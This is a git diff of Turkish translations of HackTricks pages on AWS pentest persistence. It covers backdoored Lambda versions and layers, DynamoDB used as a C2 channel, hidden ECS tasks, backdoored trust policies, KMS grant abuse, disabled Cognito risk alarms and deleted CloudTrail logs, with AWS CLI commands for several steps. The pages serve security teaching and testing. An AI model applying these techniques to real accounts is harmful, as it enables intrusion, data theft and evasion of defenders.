5. Github eyleminin ihtiyaç duyduğu **izinler** ile birlikte bir **yeni rol** oluşturun ve sağlayıcıyı güvenen bir **güven politikası** oluşturun:
- ```json
{
@@ -44,8 +44,8 @@ Bir github eylemini Kimlik sağlayıcı olarak eklemek için:
]
}
```
6. Önceki politikada yalnızca belirli bir **tetikleyici** ile bir **kuruluşun** **depo**'sundan bir **dal**'ın yetkilendirildiğine dikkat edin.
7. Github eyleminin **taklit** edebileceği **rol**'ün **ARN**'si, github eyleminin bilmesi gereken "gizli" bilgi olacak, bu yüzden bunu bir **gizli** olarak bir **ortam** içinde **saklayın**.
6. Önceki politikada yalnızca bir **şubenin** belirli bir **tetikleyici** ile bir **kuruluşun** **depo**sundan yetkilendirildiğine dikkat edin.
7. Github eyleminin **taklit** edebileceği **rolün** **ARN**'si, github eyleminin bilmesi gereken "gizli" bilgi olacak, bu yüzden bunu bir **gizli** içinde bir **ortamda** **saklayın**.
8. Son olarak, iş akışı tarafından kullanılacak AWS kimlik bilgilerini yapılandırmak için bir github eylemi kullanın:
```yaml
name: "test AWS Access"
@@ -108,9 +108,9 @@ eksctl utils associate-iam-oidc-provider --cluster Testing --approve
]
}
```
Bu politika, **id** `20C159CDF6F2349B68846BEC03BE031B` olan **EKS kümesinin** yalnızca rolü üstlenebileceğini doğru bir şekilde belirtiyor. Ancak, hangi hizmet hesabının bunu üstlenebileceğini belirtmiyor, bu da **HERHANGİ bir hizmet hesabının web kimlik belirteci** ile rolü **üstlenebileceği** anlamına geliyor.
Bu politika, **sadece** **id** `20C159CDF6F2349B68846BEC03BE031B` olan **EKS kümesinin** rolü üstlenebileceğini doğru bir şekilde belirtiyor. Ancak, hangi hizmet hesabının bunu üstlenebileceğini belirtmiyor, bu da **HERHANGİ bir hizmet hesabının web kimlik belirteci ile** rolü **üstlenebileceği** anlamına geliyor.
**Hangi hizmet hesabının rolü üstlenebileceğini belirtmek için,** **hizmet hesabı adı belirtilen** bir **koşul** tanımlamak gereklidir, örneğin:
**Hangi hizmet hesabının rolü üstlenebileceğini** belirtmek için, **hizmet hesabı adının belirtildiği** bir **koşul** tanımlamak gereklidir, örneğin:
```bash
"oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account",
```

View File

@@ -1,4 +1,4 @@
# AWS - Permissions for a Pentest
# AWS - Pentest için İzinler
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -12,21 +12,21 @@ Daha fazla bilgi için:
### Kaynak Politikası
API gateway'lerin kaynak politikasını değiştirerek kendinize erişim verin.
API gateway'lerin kaynak politikasını değiştirerek kendinize erişim izni verin.
### Lambda Yetkilendiricilerini Değiştirin
Lambda yetkilendiricilerinin kodunu değiştirerek tüm uç noktalara erişim verin.\
Ya da sadece yetkilendiricinin kullanımını kaldırın.
Lambda yetkilendiricilerinin kodunu değiştirerek tüm uç noktalara erişim izni verin.\
Ya da yetkilendiricinin kullanımını kaldırın.
### IAM İzinleri
Bir kaynak IAM yetkilendiricisi kullanıyorsa, IAM izinlerini değiştirerek kendinize erişim verebilirsiniz.\
Ya da sadece yetkilendiricinin kullanımını kaldırın.
Bir kaynak IAM yetkilendiricisi kullanıyorsa, IAM izinlerini değiştirerek kendinize erişim izni verebilirsiniz.\
Ya da yetkilendiricinin kullanımını kaldırın.
### API Anahtarları
API anahtarları kullanılıyorsa, sürekliliği sağlamak için bunları sızdırabilir veya hatta yenilerini oluşturabilirsiniz.\
Ya da sadece API anahtarlarının kullanımını kaldırın.
Ya da API anahtarlarının kullanımını kaldırın.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## Cognito
Daha fazla bilgi için erişim sağlayın:
Daha fazla bilgi için erişin:
{{#ref}}
../aws-services/aws-cognito-enum/
@@ -14,11 +14,11 @@ Daha fazla bilgi için erişim sağlayın:
Cognito, kimlik doğrulaması yapılmamış ve kimlik doğrulaması yapılmış kullanıcılara roller vermeyi ve bir kullanıcı dizinini kontrol etmeyi sağlayan bir hizmettir. Bazı sürekliliği sağlamak için değiştirilebilecek birkaç farklı yapılandırma vardır, örneğin:
- **Kullanıcı tarafından kontrol edilen bir Kullanıcı Havuzunu** bir Kimlik Havuzuna eklemek
- **Kimlik doğrulaması yapılmamış bir Kimlik Havuzuna IAM rolü vermek ve Temel kimlik doğrulama akışına izin vermek**
- Veya **kimlik doğrulaması yapılmış bir Kimlik Havuzuna** eğer saldırgan giriş yapabiliyorsa
- **Kullanıcı Havuzuna** kullanıcı tarafından kontrol edilen bir Kimlik Havuzu eklemek
- Kimlik doğrulaması yapılmamış bir Kimlik Havuzuna **IAM rolü vermek ve Temel kimlik doğrulama akışına izin vermek**
- Saldırgan giriş yapabiliyorsa **kimlik doğrulaması yapılmış bir Kimlik Havuzuna** vermek
- Veya verilen rollerin **izinlerini artırmak**
- **Öznitelikler kontrol edilen kullanıcılar veya yeni kullanıcılar aracılığıyla** bir **Kullanıcı Havuzunda** oluşturmak, doğrulamak ve yetki yükseltmek
- **Özniteliklerle kontrol edilen kullanıcılar veya yeni kullanıcılar aracılığıyla oluşturma, doğrulama ve yetki yükseltme** yapmak bir **Kullanıcı Havuzunda**
- **Dış Kimlik Sağlayıcılarının** bir Kullanıcı Havuzuna veya bir Kimlik Havuzuna giriş yapmasına izin vermek
Bu eylemleri nasıl yapacağınızı kontrol edin
@@ -29,11 +29,11 @@ Bu eylemleri nasıl yapacağınızı kontrol edin
### `cognito-idp:SetRiskConfiguration`
Bu yetkiye sahip bir saldırgan, bir Cognito kullanıcısı olarak giriş yapabilmek için risk yapılandırmasını değiştirebilir **alarm tetiklenmeden**. [**CLI'yi kontrol edin**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) tüm seçenekleri görmek için:
Bu yetkiye sahip bir saldırgan, Cognito kullanıcısı olarak giriş yapabilmek için risk yapılandırmasını değiştirebilir **alarm tetiklenmeden**. [**CLI'yi kontrol edin**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) tüm seçenekleri görmek için:
```bash
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
```
Varsayılan olarak bu devre dışıdır:
Varsayılan olarak bu devre dışıdır:
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>

View File

@@ -12,7 +12,7 @@ Daha fazla bilgi için erişin:
### Lambda Arka Kapısı ile DynamoDB Tetikleyicileri
DynamoDB tetikleyicilerini kullanarak, bir saldırgan bir tabloyla kötü niyetli bir Lambda fonksiyonu ilişkilendirerek **gizli bir arka kapı** oluşturabilir. Lambda fonksiyonu bir öğe eklendiğinde, değiştirildiğinde veya silindiğinde tetiklenebilir, bu da saldırgana AWS hesabı içinde rastgele kod çalıştırma imkanı tanır.
DynamoDB tetikleyicilerini kullanarak, bir saldırgan bir tabloyla kötü niyetli bir Lambda fonksiyonunu ilişkilendirerek **gizli bir arka kapı** oluşturabilir. Lambda fonksiyonu bir öğe eklendiğinde, değiştirildiğinde veya silindiğinde tetiklenebilir, bu da saldırgana AWS hesabı içinde rastgele kod çalıştırma imkanı tanır.
```bash
# Create a malicious Lambda function
aws lambda create-function \
@@ -36,9 +36,9 @@ aws lambda create-event-source-mapping \
```
Sürekliliği sağlamak için, saldırgan DynamoDB tablosunda öğeler oluşturabilir veya bunları değiştirebilir, bu da kötü niyetli Lambda fonksiyonunu tetikler. Bu, saldırgana Lambda fonksiyonu ile doğrudan etkileşim olmadan AWS hesabı içinde kod çalıştırma imkanı tanır.
### DynamoDB C2 Kanalı Olarak
### DynamoDB'yi C2 Kanalı Olarak Kullanma
Bir saldırgan, komutlar içeren öğeler oluşturarak ve ele geçirilmiş örnekler veya Lambda fonksiyonları kullanarak bu komutları almak ve çalıştırmak için bir DynamoDB tablosunu **komut ve kontrol (C2) kanalı** olarak kullanabilir.
Bir saldırgan, komutlar içeren öğeler oluşturarak ve bu komutları almak ve yürütmek için ele geçirilmiş örnekler veya Lambda fonksiyonları kullanarak DynamoDB tablosunu **komut ve kontrol (C2) kanalı** olarak kullanabilir.
```bash
# Create a DynamoDB table for C2
aws dynamodb create-table \

View File

@@ -12,36 +12,36 @@ Daha fazla bilgi için kontrol edin:
### Güvenlik Grubu Bağlantı İzleme Sürekliliği
Eğer bir savunucu **EC2 örneğinin ele geçirildiğini** fark ederse, muhtemelen makinenin **ağını izole etmeye** çalışacaktır. Bunu açık bir **Deny NACL** ile yapabilir (ancak NACL'ler tüm alt ağa etki eder), ya da **herhangi bir türde gelen veya giden** trafiğe izin vermeyen **güvenlik grubunu değiştirebilir**.
Eğer bir savunucu **EC2 örneğinin tehlikeye girdiğini** fark ederse, muhtemelen makinenin **ağını izole etmeye** çalışacaktır. Bunu açık bir **Deny NACL** ile yapabilir (ancak NACL'ler tüm alt ağa etki eder) veya **güvenlik grubunu değiştirerek** **herhangi bir türde gelen veya giden** trafiğe izin vermeyebilir.
Eğer saldırganın makineden kaynaklanan bir **ters kabuk** varsa, SG gelen veya giden trafiğe izin vermeyecek şekilde değiştirilse bile, **bağlantı** [**Güvenlik Grubu Bağlantı İzleme**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)** nedeniyle kesilmeyecektir.**
Eğer saldırganın makineden kaynaklanan bir **ters kablosu** varsa, SG değiştirildiğinde bile gelen veya giden trafiğe izin vermeyen, **bağlantı [**Güvenlik Grubu Bağlantı İzleme**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)** nedeniyle kesilmeyecektir.**
### EC2 Yaşam Döngüsü Yöneticisi
Bu hizmet, **AMI'lerin ve anlık görüntülerin oluşturulmasını** **planlamaya** ve hatta **başka hesaplarla paylaşmaya** olanak tanır.\
Bir saldırgan, **her hafta** tüm görüntülerin veya tüm hacimlerin **AMI'lerini veya anlık görüntülerini oluşturmak için** yapılandırma yapabilir ve **kendi hesabıyla paylaşabilir**.
Bir saldırgan, **her hafta** tüm görüntülerin veya tüm hacimlerin **AMI'lerini veya anlık görüntülerini oluşturmak için** yapılandırabilir ve **kendi hesabıyla paylaşabilir**.
### Planlı Örnekler
Örneklerin günlük, haftalık veya hatta aylık olarak çalıştırılması mümkündür. Bir saldırgan, erişebileceği yüksek ayrıcalıklara sahip bir makine çalıştırabilir.
Örneklerin günlük, haftalık veya hatta aylık olarak çalıştırılması mümkündür. Bir saldırgan, yüksek ayrıcalıklara sahip veya ilginç bir erişim sağlayan bir makine çalıştırabilir.
### Spot Filosu Talebi
Spot örnekleri, normal örneklerden **daha ucuzdur**. Bir saldırgan, **otomatik IP** ataması ve saldırgana **spot örneği başladığında** ve **IP adresi** ile ilgili bilgi gönderen bir **kullanıcı verisi** ile **5 yıl için küçük bir spot filosu talebi** başlatabilir (örneğin).
Spot örnekleri, normal örneklerden **daha ucuzdur**. Bir saldırgan, **5 yıl için küçük bir spot filosu talebi** başlatabilir (örneğin), **otomatik IP** ataması ile ve saldırgana **spot örneği başladığında** **IP adresini** gönderen bir **kullanıcı verisi** ile.
### Arka Kapı Örnekleri
Bir saldırgan, örneklere erişebilir ve bunları arka kapı ile ele geçirebilir:
Bir saldırgan, örneklere erişim sağlayabilir ve bunları arka kapı ile açabilir:
- Örneğin geleneksel bir **rootkit** kullanarak
- Yeni bir **genel SSH anahtarı** ekleyerek (bakınız [EC2 ayrıcalık yükseltme seçenekleri](../aws-privilege-escalation/aws-ec2-privesc.md))
- **Kullanıcı Verisini** arka kapı ile ele geçirerek
- **Kullanıcı Verisini** arka kapı ile açarak
### **Arka Kapı Başlatma Yapılandırması**
- Kullanılan AMI'yi arka kapı ile ele geçirmek
- Kullanıcı Verisini arka kapı ile ele geçirmek
- Anahtar Çifti'ni arka kapı ile ele geçirmek
- Kullanılan AMI'yi arka kapı ile
- Kullanıcı Verisini arka kapı ile
- Anahtar Çifti'ni arka kapı ile
### VPN
@@ -49,6 +49,6 @@ Saldırganın VPC'ye doğrudan bağlanabilmesi için bir VPN oluşturun.
### VPC Peering
Kurban VPC ile saldırgan VPC arasında bir peering bağlantısı oluşturun, böylece kurban VPC'ye erişebilir.
Kurban VPC ile saldırgan VPC arasında bir peering bağlantısı oluşturun, böylece kurban VPC'ye erişim sağlayabilir.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -12,7 +12,7 @@ Daha fazla bilgi için kontrol edin:
### Kötü Amaçlı Kod İçeren Gizli Docker Görüntüsü
Bir saldırgan, **kötü amaçlı kod içeren bir Docker görüntüsü** bir ECR deposuna yükleyebilir ve bunu hedef AWS hesabında sürekliliği sağlamak için kullanabilir. Saldırgan daha sonra kötü amaçlı görüntüyü, Amazon ECS veya EKS gibi hesap içindeki çeşitli hizmetlere gizlice dağıtabilir.
Bir saldırgan, bir ECR deposuna **kötü amaçlı kod içeren bir Docker görüntüsü yükleyebilir** ve bunu hedef AWS hesabında sürekliliği sağlamak için kullanabilir. Saldırgan daha sonra kötü amaçlı görüntüyü, Amazon ECS veya EKS gibi hesap içindeki çeşitli hizmetlere gizlice dağıtabilir.
### Depo Politikası
@@ -41,15 +41,15 @@ aws ecr set-repository-policy \
}
```
> [!WARNING]
> ECR'nin, kullanıcıların bir IAM politikası aracılığıyla **`ecr:GetAuthorizationToken`** API'sine çağrı yapma **izinlerine** sahip olmalarını gerektirdiğini unutmayın; bu, bir kayıt defterine kimlik doğrulaması yapmadan ve herhangi bir Amazon ECR deposundan görüntüleri itip çekmeden önce gereklidir.
> ECR'nin, kullanıcıların bir kayıt defterine kimlik doğrulaması yapabilmeleri ve herhangi bir Amazon ECR deposundan görüntüleri itip çekebilmeleri için **`ecr:GetAuthorizationToken`** API'sine çağrılar yapma **izinlerine** sahip olmalarını gerektirdiğini unutmayın.
### Kayıt Defteri Politikası ve Hesaplar Arası Çoğaltma
Kayıt defterini dış bir hesapta otomatik olarak çoğaltmak mümkündür; burada, kayıt defterini çoğaltmak istediğiniz **dış hesabı** belirtmeniz gerekir.
Hesaplar arası çoğaltmayı yapılandırarak, bir kayıt defterini harici bir hesapta otomatik olarak çoğaltmak mümkündür; burada kayıt defterini çoğaltmak istediğiniz **harici hesabı** belirtmeniz gerekir.
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
Öncelikle, dış hesaba kayıt defteri üzerinde erişim vermeniz gerekir; bu, aşağıdaki gibi bir **kayıt defteri politikası** ile yapılabilir:
Öncelikle, harici hesaba kayıt defteri üzerinde erişim vermeniz gerekir; bu, aşağıdaki gibi bir **kayıt defteri politikası** ile yapılabilir:
```bash
aws ecr put-registry-policy --policy-text file://my-policy.json

View File

@@ -15,7 +15,7 @@ Daha fazla bilgi için kontrol edin:
> [!NOTE]
> TODO: Test
Bir saldırgan, Amazon EventBridge kullanarak **kötü niyetli bir görevin periyodik olarak yürütülmesini planlamak için gizli bir periyodik ECS görevi oluşturabilir**. Bu görev, keşif yapabilir, veri sızdırabilir veya AWS hesabında sürekliliği sürdürebilir.
Bir saldırgan, Amazon EventBridge kullanarak **kötü niyetli bir görevin periyodik olarak yürütülmesini planlamak için gizli bir periyodik ECS görevi oluşturabilir**. Bu görev keşif yapabilir, veri sızdırabilir veya AWS hesabında sürekliliği sürdürebilir.
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
@@ -74,7 +74,7 @@ aws ecs register-task-definition --family "existing-task" --container-definition
> [!NOTE]
> TODO: Test
Bir saldırgan, kötü niyetli bir görevi çalıştıran **belgesiz bir ECS servisi** oluşturabilir. Görevlerin istenen sayısını en aza indirip günlüklemeyi devre dışı bırakarak, yöneticilerin kötü niyetli servisi fark etmesi zorlaşır.
Bir saldırgan, kötü niyetli bir görevi çalıştıran **belgesiz bir ECS servisi** oluşturabilir. İstenen görev sayısını en aza indirerek ve günlüklemeyi devre dışı bırakarak, yöneticilerin kötü niyetli servisi fark etmesi daha zor hale gelir.
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[

View File

@@ -12,10 +12,10 @@ Daha fazla bilgi için kontrol edin:
### Kaynak Politikasını / Güvenlik Gruplarını Değiştir
**kaynak politikasını ve/veya güvenlik gruplarını** değiştirerek dosya sistemine erişiminizi sürdürebilirsiniz.
**Kaynak politikasını ve/veya güvenlik gruplarını** değiştirerek dosya sistemine erişiminizi sürdürebilirsiniz.
### Erişim Noktası Oluştur
**erişim noktası oluşturabilirsiniz** (kök erişimi ile `/`), dosya sistemine ayrıcalıklı erişimi sürdürmek için **diğer süreklilik** uyguladığınız bir hizmetten erişilebilir.
**Erişim noktası oluşturabilirsiniz** (kök erişimi ile `/`), bu erişim noktası, dosya sistemine ayrıcalıklı erişimi sürdürmek için **diğer süreklilik** uyguladığınız bir hizmetten erişilebilir.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -10,7 +10,7 @@ Daha fazla bilgi için kontrol edin:
../aws-services/aws-elastic-beanstalk-enum.md
{{#endref}}
### Instance İçinde Süreklilik
### Instance'da Süreklilik
AWS hesabında sürekliliği sağlamak için, **instance içinde bazı süreklilik mekanizmaları tanıtılabilir** (cron işi, ssh anahtarı...) böylece saldırgan erişim sağlayabilir ve IAM rolü **kimlik bilgilerini metadata hizmetinden** çalabilir.
@@ -27,7 +27,7 @@ Saldırgan, mevcut versiyondaki kodu değiştirmek yerine, uygulamanın yeni bir
> [!NOTE]
> TODO: Test
Elastic Beanstalk, instance sağlama ve sonlandırma sırasında özel betikler çalıştırmanıza olanak tanıyan yaşam döngüsü kancaları sağlar. Bir saldırgan, **AWS hesabına erişimi sürdürmek veya veri sızdıran bir betiği periyodik olarak çalıştırmak için bir yaşam döngüsü kancası yapılandırabilir**.
Elastic Beanstalk, instance sağlama ve sonlandırma sırasında özel betikler çalıştırmanıza olanak tanıyan yaşam döngüsü kancaları sağlar. Bir saldırgan, **AWS hesabına erişimi sürdürmek veya veri dışa aktarmak için periyodik olarak bir betik çalıştıracak şekilde bir yaşam döngüsü kancası yapılandırabilir**.
```bash
bashCopy code# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash

View File

@@ -4,7 +4,7 @@
## IAM
Daha fazla bilgi için erişin:
Daha fazla bilgi için erişim:
{{#ref}}
../aws-services/aws-iam-enum.md
@@ -21,7 +21,7 @@ Daha fazla bilgi için erişin:
### Arka Kapı Rol Güven Politikaları
Bir güven politikasını arka kapı ile oluşturabilir ve bunu sizin kontrolünüzdeki bir dış kaynak için üstlenebilirsiniz (veya herkes için):
Bir güven politikasını arka kapı ile kontrol ettiğiniz bir dış kaynak için üstlenebilmek amacıyla değiştirebilirsiniz (veya herkes için):
```json
{
"Version": "2012-10-17",
@@ -36,12 +36,12 @@ Bir güven politikasını arka kapı ile oluşturabilir ve bunu sizin kontrolün
]
}
```
### Arka Kapı Politika Versiyonu
### Arka Kapı Politikası Versiyonu
Bir politikaya, son versiyonu değil, Yönetici izinleri verin (son versiyon meşru görünmelidir), ardından o politikanın versiyonunu kontrol edilen bir kullanıcı/gruba atayın.
Bir politikaya son versiyonu olmayan Yönetici izinleri verin (son versiyon meşru görünmelidir), ardından o politikanın versiyonunu kontrol edilen bir kullanıcı/gruba atayın.
### Arka Kapı / Kimlik Sağlayıcı Oluştur
Eğer hesap zaten yaygın bir kimlik sağlayıcıya (örneğin Github) güveniyorsa, güvenin koşulları artırılabilir, böylece saldırgan bunları kötüye kullanabilir.
Eğer hesap zaten yaygın bir kimlik sağlayıcıya (örneğin Github) güveniyorsa, güvenin koşulları artırılabilir, böylece saldırgan bunları kötüye kullanabilir.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -16,11 +16,11 @@ Bir saldırgan, **`kms:PutKeyPolicy`** iznini kullanarak bir anahtara kontrolü
### Sonsuz İzin
İzinler, bir anahtar üzerinde bir ilkeye bazı izinler vermenin başka bir yoludur. Bir kullanıcının izin oluşturmasına olanak tanıyan bir izin vermek mümkündür. Ayrıca, bir kullanıcının aynı anahtar üzerinde birden fazla izin (hatta aynı) olması mümkündür.
İzinler, bir anahtar üzerinde bir prensibe bazı izinler vermenin başka bir yoludur. Bir kullanıcının izin oluşturmasına olanak tanıyan bir izin vermek mümkündür. Dahası, bir kullanıcının aynı anahtar üzerinde birden fazla izin (hatta aynı) olabilir.
Bu nedenle, bir kullanıcının tüm izinlere sahip 10 izni olması mümkündür. Saldırgan bunun sürekli olarak izlenmesi gerektiğini bilmelidir. Ve eğer bir noktada 1 izin kaldırılırsa, başka 10 izin oluşturulmalıdır.
(Bir iznin kaldırıldığını tespit edebilmek için 10 kullanıyoruz ve 2 değil, çünkü kullanıcı hala bazı izinlere sahip.)
(Bir iznin kaldırıldığını tespit edebilmek için 10 kullanıyoruz ve 2 değil, çünkü kullanıcı hala bazı izinlere sahipken bir iznin kaldırıldığını tespit edebilmek için.)
```bash
# To generate grants, generate 10 like this one
aws kms create-grant \
@@ -32,6 +32,6 @@ aws kms create-grant \
aws kms list-grants --key-id <key-id>
```
> [!NOTE]
> Bir grant yalnızca şu izinleri verebilir: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
> Bir grant yalnızca şunlardan izin verebilir: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -12,7 +12,7 @@ Daha fazla bilgi için kontrol edin:
### Lambda Katmanı Sürekliliği
Lambda çalıştırıldığında **rastgele kod çalıştırmak için bir katman tanıtmak/arka kapı eklemek** mümkündür:
Lambda çalıştırıldığında **rastgele kod çalıştırmak için bir katman tanıtmak/arka kapı oluşturmak** mümkündür:
{{#ref}}
aws-lambda-layers-persistence.md
@@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md
### Lambda Uzantı Sürekliliği
Lambda Katmanlarını kötüye kullanarak uzantıları da kötüye kullanmak ve lambdada kalıcı olmak, ayrıca istekleri çalmak ve değiştirmek mümkündür.
Lambda Katmanlarını kötüye kullanarak uzantıları da kötüye kullanmak ve lambda'da kalıcı olmak, ayrıca istekleri çalmak ve değiştirmek mümkündür.
{{#ref}}
aws-abusing-lambda-extensions.md
@@ -28,37 +28,37 @@ aws-abusing-lambda-extensions.md
### Kaynak politikaları aracılığıyla
Farklı lambda eylemlerine (örneğin çağırma veya kod güncelleme gibi) dış hesaplara erişim vermek mümkündür:
Farklı lambda eylemlerine (örneğin çağırma veya kod güncelleme) dış hesaplara erişim vermek mümkündür:
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
### Sürümler, Takma Adlar & Ağırlıklar
Bir Lambda **farklı sürümlere** (her sürümde farklı kodlarla) sahip olabilir.\
Sonra, lambdanın **farklı sürümleriyle farklı takma adlar** oluşturabilir ve her birine farklıırlıklar ayarlayabilirsiniz.\
Bir Lambda'nın **farklı sürümleri** (her sürümde farklı kod) olabilir.\
Sonra, lambda'nın **farklı sürümleri ile farklı takma adlar** oluşturabilir ve her birine farklıırlıklar ayarlayabilirsiniz.\
Bu şekilde bir saldırgan **arka kapılı sürüm 1** ve **yalnızca meşru kod içeren sürüm 2** oluşturabilir ve **isteklerin %1'inde yalnızca sürüm 1'i çalıştırarak** gizli kalabilir.
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
### Sürüm Arka Kapısı + API Gateway
1. Lambdanın orijinal kodunu kopyalayın
2. Orijinal kodu **arka kapı ekleyerek yeni bir sürüm oluşturun** (veya sadece kötü niyetli kodla). Bu sürümü yayınlayın ve **$LATEST'e dağıtın**
1. Kodu çalıştırmak için lambdayla ilgili API geçidini çağırın
3. **Orijinal kodla yeni bir sürüm oluşturun**, yayınlayın ve bu **sürümü** $LATEST'e dağıtın.
1. Lambda'nın orijinal kodunu kopyalayın
2. Orijinal kodu (veya sadece kötü niyetli kod ile) **arka kapı oluşturarak yeni bir sürüm oluşturun**. Bu sürümü yayınlayın ve **$LATEST'e dağıtın**
1. Kodu çalıştırmak için lambda ile ilgili API geçidini çağırın
3. **Orijinal kod ile yeni bir sürüm oluşturun**, Bu **sürümü** yayınlayın ve **$LATEST'e dağıtın**.
1. Bu, arka kapılı kodu önceki bir sürümde gizleyecektir
4. API Gateway'e gidin ve **arka kapılı sürümü çalıştıracak yeni bir POST yöntemi oluşturun** (veya başka bir yöntemi seçin): `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
1. Sonundaki :1'in **işlevin sürümünü gösterdiğini** unutmayın (bu senaryoda sürüm 1 arka kapılı olacaktır).
1. ARN'nin sonundaki :1'in **fonksiyonun sürümünü gösterdiğini** unutmayın (bu senaryoda sürüm 1 arka kapılı olan olacaktır).
5. Oluşturulan POST yöntemini seçin ve Eylemler'de **`API'yi Dağıt`** seçin
6. Artık, **POST aracılığıyla işlevi çağırdığınızda Arka Kapınız** tetiklenecektir
6. Artık, **POST aracılığıyla fonksiyonu çağırdığınızda Arka Kapınız** tetiklenecektir
### Cron/Olay aktüatörü
**Lambda işlevlerinin bir şey olduğunda veya bir süre geçtiğinde çalışmasını sağlamak**, lambdayı süreklilik sağlamak ve tespiti önlemek için hoş ve yaygın bir yol haline getirir.\
AWS'deki **varlığınızı daha gizli hale getirmek için lambdalar oluşturma** konusunda bazı fikirleriniz var.
Bir şey olduğunda veya bir süre geçtiğinde **lambda fonksiyonlarının çalışmasını sağlamak**, lambda'yı süreklilik elde etmek ve tespiti önlemek için güzel ve yaygın bir yol haline getirir.\
AWS'deki **varlığınızı daha gizli hale getirmek için lambdalar oluşturma** konusunda bazı fikirler:
- Her yeni kullanıcı oluşturulduğunda lambda yeni bir kullanıcı anahtarı oluşturur ve bunu saldırgana gönderir.
- Her yeni rol oluşturulduğunda lambda, tehlikeye atılmış kullanıcılara rol üstlenme izinleri verir.
- Her yeni cloudtrail kaydı oluşturulduğunda, bunları silin/değiştirin.
- Her yeni cloudtrail günlüğü oluşturulduğunda, bunları silin/değiştirin
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -4,14 +4,14 @@
## Lambda Uzantıları
Lambda uzantıları, çeşitli **izleme, gözlemlenebilirlik, güvenlik ve yönetişim araçları** ile entegrasyon sağlayarak işlevleri geliştirir. Bu uzantılar, [.zip arşivleri kullanarak Lambda katmanları](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) aracılığıyla eklenir veya [konteyner görüntüsü dağıtımlarında](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/) yer alır ve iki modda çalışır: **içsel** ve **dışsal**.
Lambda uzantıları, çeşitli **izleme, gözlemlenebilirlik, güvenlik ve yönetişim araçları** ile entegrasyon sağlayarak işlevleri geliştirir. Bu uzantılar, [.zip arşivleri kullanarak Lambda katmanları](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) aracılığıyla veya [konteyner görüntüsü dağıtımları](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/) içinde eklenerek iki modda çalışır: **içsel** ve **dışsal**.
- **İçsel uzantılar**, çalışma zamanı süreciyle birleşerek, **dil spesifik ortam değişkenleri** ve **sarmalayıcı betikler** kullanarak başlatmasını manipüle eder. Bu özelleştirme, **Java Correto 8 ve 11, Node.js 10 ve 12, ve .NET Core 3.1** dahil olmak üzere çeşitli çalışma zamanlarına uygulanır.
- **Dışsal uzantılar**, ayrı süreçler olarak çalışır ve Lambda işlevinin yaşam döngüsü ile operasyon uyumunu korur. **Node.js 10 ve 12, Python 3.7 ve 3.8, Ruby 2.5 ve 2.7, Java Corretto 8 ve 11, .NET Core 3.1** ve **özel çalışma zamanları** gibi çeşitli çalışma zamanlarıyla uyumludur.
[**Lambda uzantılarının nasıl çalıştığı hakkında daha fazla bilgi için belgeleri kontrol edin**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
Daha fazla bilgi için [**lambda uzantılarının nasıl çalıştığını kontrol edin**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
### Süreklilik, İstekleri Çalma ve İstekleri Değiştirme için Dışsal Uzantı
### Kalıcılık, İstekleri Çalma ve İstekleri Değiştirme için Dışsal Uzantı
Bu, bu yazıda önerilen tekniğin bir özetidir: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
@@ -19,20 +19,20 @@ Lambda çalışma zamanı ortamındaki varsayılan Linux çekirdeğinin “**pro
Ayrıca, Lambda uzantıları **çağrı olaylarına abone olma** yeteneğine sahipken, AWS bu uzantılara ham verileri açıklamaz. Bu, **uzantıların HTTP isteği aracılığıyla iletilen hassas bilgilere erişemeyeceğini** garanti eder.
Init (Rapid) süreci, [http://127.0.0.1:9001](http://127.0.0.1:9001/) adresinde tüm API isteklerini izlerken, Lambda uzantıları başlatılır ve herhangi bir çalışma zamanı kodunun yürütülmesinden önce, ancak Rapid'ten sonra çalışır.
Init (Rapid) süreci, Lambda uzantıları başlatılırken ve herhangi bir çalışma zamanı kodu yürütülmeden önce, tüm API isteklerini [http://127.0.0.1:9001](http://127.0.0.1:9001/) adresinde izler, ancak Rapid'ten sonra.
